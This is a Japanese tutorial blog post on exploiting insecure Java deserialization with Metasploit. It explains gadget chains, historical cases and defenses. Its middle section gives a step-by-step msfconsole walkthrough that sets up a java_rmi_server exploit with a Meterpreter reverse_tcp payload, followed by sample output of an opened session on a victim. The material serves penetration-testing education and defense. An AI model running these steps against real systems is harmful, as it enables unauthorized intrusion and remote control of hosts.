Metasploit FrameworkにおけるJavaデシリアライゼーション攻撃モジュールの使い方徹底解説

セキュリティツール

安全でないデシリアライゼーションの脅威と、Metasploitを使った検証方法

この記事は、セキュリティ専門家や学習者を対象に、Metasploit Frameworkに含まれるJavaデシリアライゼーション関連モジュール(Kali Linux Toolsページなどで `msf-java_deserializer` として言及される機能群)の技術的な使用方法を解説するものです。記載された情報を悪用することは絶対に避けてください。すべての操作は、許可された環境でのみ、法と倫理を遵守して行ってください。 🙏

現代のWebアプリケーションやシステムにおいて、データの送受信や永続化は不可欠な要素です。その際、「シリアライゼーション」という技術が広く使われています。これは、プログラム内のオブジェクトを、ファイルへの保存やネットワーク転送に適したバイトストリームなどの形式に変換するプロセスです。そして、その逆、バイトストリームから元のオブジェクトを復元するプロセスを「デシリアライゼーション」と呼びます。

一見すると便利なこの仕組みですが、使い方を誤ると深刻なセキュリティ脆弱性につながることがあります。特に、外部から受け取った信頼できないデータを検証せずにデシリアライズしてしまう「安全でないデシリアライゼーション (Insecure Deserialization)」は、攻撃者にとって格好の標的となります。この脆弱性は、OWASP Top 10 2017年版で8位にランクインし、2021年版では「ソフトウェアとデータの完全性の不具合」というより広範なカテゴリに統合されましたが、依然として重大な脅威です。

攻撃者は、特別に細工したシリアライズデータを送り込むことで、デシリアライゼーション処理を悪用し、意図しないコードを実行させたり(リモートコード実行、RCE)、サービス拒否(DoS)を引き起こしたり、機密情報を窃取したりする可能性があります。

このような脆弱性の存在を検証し、システムを保護するためのツールとして、Metasploit Framework があります。Metasploitは、ペネトレーションテストや脆弱性評価のための強力なプラットフォームであり、Javaデシリアライゼーション脆弱性を悪用するための様々なモジュール(Exploit, Auxiliary, Payload)を提供しています。Kali Linuxのツールリストなどでは、これらの機能群が `msf-java_deserializer` として言及されることがありますが、これは単一のツール名ではなく、Metasploit内の関連機能全体を指す概念と捉えるのが適切です。

この記事では、Javaデシリアライゼーション脆弱性の基本的な仕組みから、Metasploit Frameworkの関連モジュールを使った具体的な検証手順、そして効果的な対策までを、初心者にも分かりやすく、かつ詳細に解説していきます。🕵️‍♀️

この脅威を理解するために、まずはシリアライゼーションとデシリアライゼーションの仕組み、そしてなぜそれが脆弱性につながるのかを詳しく見ていきましょう。

シリアライゼーションとデシリアライゼーションの基本

Javaにおいて、オブジェクトの状態を保存したり転送したりするために、java.io.Serializable インターフェースを実装したクラスのインスタンスをバイトストリームに変換できます。この変換処理がシリアライゼーションです。主に ObjectOutputStream クラスの writeObject() メソッドが使われます。

逆に、バイトストリームから元のJavaオブジェクトをメモリ上に復元する処理がデシリアライゼーションです。こちらは ObjectInputStream クラスの readObject() メソッドが中心的な役割を果たします。

例:簡単なシリアライゼーションとデシリアライゼーションの流れ

  1. アプリケーションがユーザーのセッション情報(ユーザー名、権限など)を持つオブジェクトを作成します。
  2. ユーザーが一度ログアウトし、後で再ログインする際にセッションを復元するため、このセッションオブジェクトをシリアライズしてファイルやデータベースに保存します。
  3. ユーザーが再ログインした際、保存しておいたバイトストリームを読み込み、デシリアライズして元のセッションオブジェクトを復元します。
  4. アプリケーションは復元されたオブジェクトを使って、ユーザーのログイン状態を再現します。

このように、オブジェクトの状態をそのまま保存・復元できるため、非常に便利な機能です。

なぜ脆弱性につながるのか? 危険性の核心

問題は、信頼できないソースからのデータをデシリアライズする場合に発生します。もし攻撃者が、アプリケーションがデシリアライズするデータを操作できるとしたらどうなるでしょうか?

Javaのデシリアライゼーションプロセスは、バイトストリームに含まれるクラス情報を元に、オブジェクトを復元しようとします。この際、多くの場合、コンストラクタ(オブジェクト生成時に初期化を行う特別なメソッド)を呼び出しません。代わりに、リフレクションという仕組みを使って、オブジェクトのフィールドに直接データを書き込むことがあります。

攻撃者は、この仕組みを悪用します。アプリケーションが利用しているライブラリの中に、特定のメソッド(例えば、ファイルの読み書きやコマンド実行など)を実行するような「ガジェット (Gadget)」と呼ばれるクラスが存在する場合、攻撃者はこれらのガジェットクラスを巧妙に組み合わせた悪意のあるバイトストリームを作成します。この細工されたデータをアプリケーションにデシリアライズさせると、意図しない処理(例えば、任意のコマンド実行)が引き起こされてしまうのです。この一連のガジェットの組み合わせを「ガジェットチェーン (Gadget Chain)」と呼びます。

つまり、脆弱性の本質は以下の点にあります。

  • 入力検証の欠如: アプリケーションが、デシリアライズするデータが本当に期待している形式・内容であるかを十分に検証していない。
  • 信頼できないデータの処理: ユーザー入力や外部システムから受け取ったデータなど、攻撃者によって操作される可能性のあるデータをデシリアライズしている。
  • 危険なガジェットの存在: アプリケーションのクラスパス(実行時に参照されるライブラリ群)に、攻撃に利用可能なガジェットクラスが存在する。

代表的な脆弱なライブラリと歴史的事例

Javaデシリアライゼーション脆弱性が広く知られるきっかけとなったのは、2015年に発覚した Apache Commons Collections ライブラリの脆弱性 (CVE-2015-4852 など) です。このライブラリに含まれる InvokerTransformer クラスなどがガジェットとして利用され、多くのJavaアプリケーション(JBoss, WebSphere, WebLogic など)がリモートコード実行の危険にさらされました。

この発見以降、他の多くのライブラリ(例: Spring Framework, Jackson Databind, XStream など)でも同様のデシリアライゼーション脆弱性が見つかっています。また、Javaだけでなく、PHP (unserialize())、Python (pickle)、.NET など、他の多くの言語やプラットフォームでも同様の問題が存在します。

最近の事例としては、2021年末に大きな話題となった Log4Shell (CVE-2021-44228) も、Log4jライブラリにおけるJNDI (Java Naming and Directory Interface) を介した間接的なデシリアライゼーション攻撃の側面を持っていました。攻撃者は特定の文字列をログに出力させることで、外部の悪意のあるサーバーからクラスファイルをロードさせ、任意のコードを実行できました。

これらの事例は、安全でないデシリアライゼーションがいかに広範囲に影響を及ぼし、深刻な結果をもたらす可能性があるかを示しています。💥

このような深刻な脆弱性を検証し、対策の有効性を確認するために、Metasploit Frameworkは非常に強力なツールとなります。

Metasploit Frameworkとは?

Metasploit Frameworkは、Rapid7社が開発を主導するオープンソースのペネトレーションテストプラットフォームです。世界中のセキュリティ研究者や専門家によって、数多くの脆弱性情報、エクスプロイトコード(攻撃コード)、ペイロード(攻撃成功後に実行されるコード)、補助モジュール(情報収集など)などが集積されています。

コンソールインターフェース (msfconsole) を使って、ターゲットシステムの脆弱性をスキャンし、発見した脆弱性を利用してシステムへのアクセスを試み、アクセス獲得後の権限昇格や情報収集といった一連のペネトレーションテストプロセスを効率的に実行できます。

MetasploitにおけるJavaデシリアライゼーション関連モジュール

Metasploit Frameworkには、Javaデシリアライゼーション脆弱性を悪用するための様々な機能が組み込まれています。これらは特定の単一ツール「msf-java_deserializer」として提供されているわけではなく、以下のような複数のモジュールタイプに分散しています。

  • Exploitモジュール: 実際に脆弱性を突いて攻撃を実行し、ペイロードを送り込むためのモジュール。特定のアプリケーション(例: JBoss, WebSphere, Jenkins)やプロトコル(例: RMI, JMX, HTTP)をターゲットにしたものが多数存在します。これらは内部で `ysoserial` などのツールと連携し、悪意のあるシリアライズデータを生成します。
    例:
    • exploit/multi/misc/java_rmi_server
    • exploit/multi/http/jenkins_script_console
    • exploit/windows/http/manageengine_connectionid_write (内部でデシリアライゼーションを利用)
    • exploit/multi/misc/java_jmx_server
  • Auxiliaryモジュール: 攻撃の前段階となる情報収集や、脆弱性のスキャンを行うためのモジュール。
    例:
    • auxiliary/scanner/http/java_deserialize_finder
    • auxiliary/gather/java_rmi_registry
  • Payloadモジュール: Exploitモジュールによってターゲットシステム上で実行されるコード。リバースシェルやMeterpreterセッションなどを確立します。Java環境向けのペイロードが用意されています。
    例:
    • java/meterpreter/reverse_tcp
    • java/shell/reverse_tcp
  • Mixin (混合機能): 複数のモジュールで共通して利用される機能を提供するライブラリ。MetasploitにはJavaデシリアライゼーションペイロードを生成するためのMixin (Msf::Exploit::JavaDeserialization) が用意されており、モジュール開発者はこれを利用して容易に攻撃コードを作成できます。

Kali Linuxのツールページなどで `msf-java_deserializer` という名前でリストされているのは、おそらくこれらの関連モジュール群や、ペイロード生成機能(ysoserialとの連携など)を包括的に指しているものと考えられます。あるいは、デシリアライズされたJavaストリームの内容を表示するための古いユーティリティスクリプト (msf/tools/exploit/java_deserializer.rb) を指している可能性もありますが、現代的な攻撃シナリオでは主に上記のモジュール群を使用します。

ここでは、Metasploit Frameworkのコンソール (msfconsole) を使用して、Javaデシリアライゼーション脆弱性を悪用する一般的な手順を解説します。注意:以下の手順は、必ず事前に許可を得たテスト環境でのみ実施してください。

1. Metasploit Consoleの起動

まず、ターミナルを開き、以下のコマンドでMetasploit Consoleを起動します。

msfconsole

起動すると、msf6 > のようなプロンプトが表示されます。

2. 関連モジュールの検索

Javaデシリアライゼーションに関連するモジュールを探します。search コマンドを使用します。

msf6 > search java deserialization

または、特定のアプリケーション名(例: jboss, weblogic)やプロトコル名(例: rmi, http)で検索することも有効です。

msf6 > search type:exploit platform:java commons collections
msf6 > search type:exploit rmi java

検索結果には、Exploitモジュール、Auxiliaryモジュールなどがリスト表示されます。各モジュールの名前、ランク(信頼性)、説明などを確認し、目的に合ったモジュールを選びます。

3. モジュールの選択

使用するモジュールが決まったら、use コマンドで選択します。ここでは例として、Java RMIサービスに対する汎用的なデシリアライゼーション攻撃モジュールを選択してみます。

msf6 > use exploit/multi/misc/java_rmi_server

プロンプトが msf6 exploit(multi/misc/java_rmi_server) > のように変化し、選択したモジュールのコンテキストに入ります。

4. オプションの設定

次に、選択したモジュールに必要なオプションを設定します。show options コマンドで設定可能なオプションとその説明、現在の設定値、必須かどうか(Requiredがyes)を確認できます。

msf6 exploit(multi/misc/java_rmi_server) > show options

Javaデシリアライゼーション関連モジュールでよく設定するオプションには以下のようなものがあります(モジュールによって異なります)。

オプション名 説明 設定例
RHOSTS ターゲットとなるサーバーのIPアドレスまたはホスト名。 set RHOSTS 192.168.1.100
RPORT ターゲットサーバーのポート番号。RMIレジストリのデフォルトは1099。 set RPORT 1099
SRVHOST 攻撃を受け付ける(リバースシェルなどを受け取る)自身のIPアドレス。 set SRVHOST 192.168.1.50
SRVPORT 攻撃を受け付ける自身のポート番号。 set SRVPORT 8080
PAYLOAD 攻撃成功後にターゲット上で実行するペイロードの種類。 set PAYLOAD java/meterpreter/reverse_tcp
LHOST PAYLOADが接続してくる先のIPアドレス(通常SRVHOSTと同じ)。 set LHOST 192.168.1.50
LPORT PAYLOADが接続してくる先のポート番号。 set LPORT 4444
JMX_TARGET (JMX関連モジュールの場合) JMXサービスのターゲットパスなど。 set JMX_TARGET service:jmx:rmi:///jndi/rmi://TARGET_IP:PORT/jmxrmi
GADGET_CHAIN (一部モジュール) 使用するysoserialのガジェットチェーン名 (例: CommonsCollections1)。自動検出されることも多い。 set GADGET_CHAIN CommonsCollections6
COMMAND (一部ペイロードやモジュール) ターゲット上で直接実行したいOSコマンド。 set COMMAND "touch /tmp/pwned"
TARGETURI (HTTP関連モジュールの場合) 脆弱なエンドポイントのURIパス。 set TARGETURI /vulnerable-endpoint

set コマンドを使って、必要なオプションを設定していきます。必須 (Required=yes) のオプションは必ず設定する必要があります。

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 10.0.0.10
RHOSTS => 10.0.0.10
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 10.0.0.5
LHOST => 10.0.0.5
msf6 exploit(multi/misc/java_rmi_server) > set LPORT 4444
LPORT => 4444

設定後、再度 show options で設定内容を確認しましょう。

5. 攻撃の実行

オプションの設定が完了したら、exploit または run コマンドで攻撃を実行します。

msf6 exploit(multi/misc/java_rmi_server) > exploit

Metasploitは、設定されたオプションに基づいて悪意のあるシリアライズデータを生成し(内部でysoserialなどを利用)、ターゲットに送信します。同時に、ペイロードからの接続を待機するリスナーも起動します(リバース接続ペイロードの場合)。

攻撃が成功し、ペイロードが実行されると、多くの場合Meterpreterセッションなどが確立され、ターゲットシステムを操作できるようになります。

[*] Started reverse TCP handler on 10.0.0.5:4444
[*] Sending RMI Header...
[*] Sending RMI Call...
[*] Sending stage (30324 bytes) to 10.0.0.10
[*] Meterpreter session 1 opened (10.0.0.5:4444 -> 10.0.0.10:49876) at 2025-03-30 07:02:00 +0000

meterpreter > sysinfo
Computer    : victim-java-app
OS          : Linux 5.10.0-kali7-amd64
Meterpreter : java/linux
meterpreter >

セッションが確立しない場合、ターゲットが脆弱でない、設定が間違っている、ネットワーク的に到達できない、ファイアウォールやセキュリティソフトにブロックされているなどの理由が考えられます。エラーメッセージやターゲットのログを確認し、原因を調査する必要があります。

実行時の注意点 ⚠️

  • ターゲットの特定: 攻撃対象のシステムで動作しているJavaアプリケーション、使用しているライブラリ、公開されているサービス(ポート番号)などを事前に正確に特定することが成功の鍵です。Nmapなどのポートスキャナや、Webアプリケーションスキャナ、手動での情報収集が役立ちます。
  • ペイロードの選択: ターゲットOSや環境に合わせて適切なペイロードを選択します (例: Windowsなら windows/meterpreter/reverse_tcp、Linuxなら linux/x64/meterpreter/reverse_tcp、Java環境なら java/meterpreter/reverse_tcp)。
  • ガジェットチェーンの互換性: 使用するExploitモジュールやysoserialのガジェットチェーンが、ターゲットアプリケーションのクラスパスに存在するライブラリと互換性がある必要があります。ターゲット環境で使用されているライブラリのバージョンを特定することが重要です。
  • 法的・倫理的配慮: 繰り返しになりますが、これらの技術を許可なく他者のシステムに対して使用することは違法であり、非倫理的です。必ず自身の管理下にあるシステムか、書面で許可を得たシステムに対してのみテストを実施してください。

Metasploit Frameworkの多くのJavaデシリアライゼーション関連モジュールは、内部で ysoserial というツールを利用しています。ysoserialは、様々なJavaライブラリ(Commons Collections, Spring, Groovy など)に存在する既知のガジェットチェーンを利用して、任意のコマンド実行などにつながる悪意のあるシリアライズオブジェクト(ペイロード)を生成するための独立したツールです。

ysoserialの主な機能:

  • 多数のJavaライブラリに対応したガジェットチェーンを提供。
  • 指定したコマンドを実行するためのシリアライズペイロードを生成。
  • 生成されたペイロードを標準出力やファイルに出力。

Metasploitは、ysoserialの機能を内部に組み込んでいる(または連携している)ため、ユーザーは通常、ysoserialを直接操作する必要はありません。Metasploitモジュールのオプション (PAYLOAD, COMMAND, GADGET_CHAIN など) を設定するだけで、Metasploitが適切なysoserialの機能(または同等の機能)を呼び出し、ターゲットに送信するデータを生成してくれます。

例えば、exploit/multi/misc/java_rmi_server モジュールを使用する際、ペイロードとして java/meterpreter/reverse_tcp を設定すると、Metasploitはターゲット上でMeterpreterのステージャー(本体をダウンロードして実行する小さなプログラム)を実行させるようなJavaデシリアライゼーションペイロードを生成します。この生成プロセスにおいて、ysoserialが提供するガジェットチェーンの知識や技術が活用されています。

Metasploit Frameworkのドキュメントには、Javaデシリアライゼーションペイロードを生成するためのMixin (Msf::Exploit::JavaDeserialization) が解説されており、generate_java_deserialization_for_payloadgenerate_java_deserialization_for_command といったメソッドが提供されています。これらは内部でysoserialのキャッシュされたペイロードデータやロジックを利用しています。

ysoserial自体は独立したツールとしても利用可能で、特定のガジェットチェーンを試したい場合や、Metasploit以外のツールと連携させたい場合に直接使用することもあります。

参考: ysoserial (GitHub)

https://github.com/frohoff/ysoserial

安全でないデシリアライゼーションの脅威からシステムを守るためには、開発者とシステム管理者の両方が対策を講じる必要があります。

開発者向けの対策

  • 信頼できないデータのデシリアライズ回避: 可能な限り、ユーザー入力や外部システムから受け取ったデータを直接デシリアライズしないように設計します。これが最も根本的で効果的な対策です。
  • 代替データ形式の利用: オブジェクトのシリアライゼーションが必要な場合でも、Javaネイティブのシリアライゼーション形式ではなく、JSONやXMLのような、より人間が読みやすく、かつ構造が単純で攻撃ペイロードを埋め込みにくい形式の利用を検討します。ただし、これらの形式を処理するライブラリにも脆弱性が存在する可能性があるため、ライブラリ自体の安全性にも注意が必要です。
  • 入力値検証とフィルタリング: どうしても信頼できないデータをデシリアライズする必要がある場合は、デシリアライズする前に厳格な入力値検証を行います。期待されるデータ型、形式、文字種、長さなどをチェックし、異常なデータは拒否します。
  • デシリアライズ対象クラスの制限 (Look-ahead Deserialization): Javaの ObjectInputStream をサブクラス化し、resolveClass() メソッドをオーバーライドして、許可されたクラスのみがデシリアライズされるように制限します。これにより、予期しないクラス(ガジェットクラスなど)のインスタンス化を防ぐことができます。いくつかのセキュリティライブラリ(例: NotSoSerial, Apache Commons IO の ValidatingObjectInputStream)がこの機能を提供しています。
  • 最新ライブラリへのアップデート: 使用しているライブラリ(特に Apache Commons Collections, Spring Framework, Jackson など)を常に最新のセキュリティパッチが適用されたバージョンに保ちます。多くのライブラリでは、既知のガジェットチェーンを無効化する対策が講じられています。
  • シリアライゼーション自体を使わない設計: 可能であれば、状態の保存やプロセス間通信にシリアライゼーション以外の方法(データベース、専用のメッセージキュー、REST APIなど)を利用することを検討します。

システム管理者向けの対策

  • Web Application Firewall (WAF) / Intrusion Prevention System (IPS) の導入: WAFやIPSの中には、既知のJavaデシリアライゼーション攻撃パターンを検知し、ブロックするシグネチャを持つものがあります。これらを活用することで、アプリケーションレベルでの対策を補完できます。
  • ネットワークセグメンテーション: アプリケーションサーバーを他のネットワークセグメントから隔離し、不要なポートへのアクセスを制限します。特に、管理用のインターフェース(JMX, RMIなど)が外部からアクセスできないように構成することが重要です。
  • 最小権限の原則: アプリケーションを実行するユーザーアカウントの権限を必要最小限に制限します。これにより、万が一リモートコード実行を許した場合でも、攻撃者がシステム全体を掌握することを困難にします。
  • 脆弱性スキャンとペネトレーションテスト: 定期的に脆弱性スキャンツール(例: Nessus, OpenVAS)や、Metasploitのようなペネトレーションテストツールを使用して、システムに安全でないデシリアライゼーション脆弱性が存在しないかを確認します。
  • ログ監視: アプリケーションやシステムのログを監視し、デシリアライゼーションエラーや不審なクラスのロード試行などの兆候を検知する体制を整えます。

これらの対策を組み合わせることで、安全でないデシリアライゼーションのリスクを大幅に低減することができます。🔒

Javaデシリアライゼーション脆弱性は、適切に対処しなければリモートコード実行などの深刻な事態を引き起こす可能性がある、依然として注意すべき脅威です。Metasploit Frameworkは、この脆弱性の存在を検証し、システムのリスクを評価するための強力なツール群を提供します。

この記事では、Javaデシリアライゼーションの基本的な仕組みから、Metasploitの関連モジュール(Exploit, Auxiliary, Payload)の探索、選択、設定、実行に至るまでの具体的な手順を解説しました。また、内部で利用されるysoserialとの関係や、開発者・管理者双方の観点からの対策についても触れました。

Metasploitのような強力なツールは、セキュリティ専門家にとっては不可欠なものですが、その使用には大きな責任が伴います。常に倫理的な利用を心がけ、許可された環境でのみテストを実施してください。

セキュリティの世界は常に進化しています。新しい脆弱性や攻撃手法が登場し続けるため、継続的な学習と情報収集が不可欠です。この記事が、Javaデシリアライゼーション脆弱性とその対策、そしてMetasploit Frameworkの活用についての理解を深める一助となれば幸いです。💡

参考情報

より深く学ぶためのリソースをいくつか紹介します。

コメント

タイトルとURLをコピーしました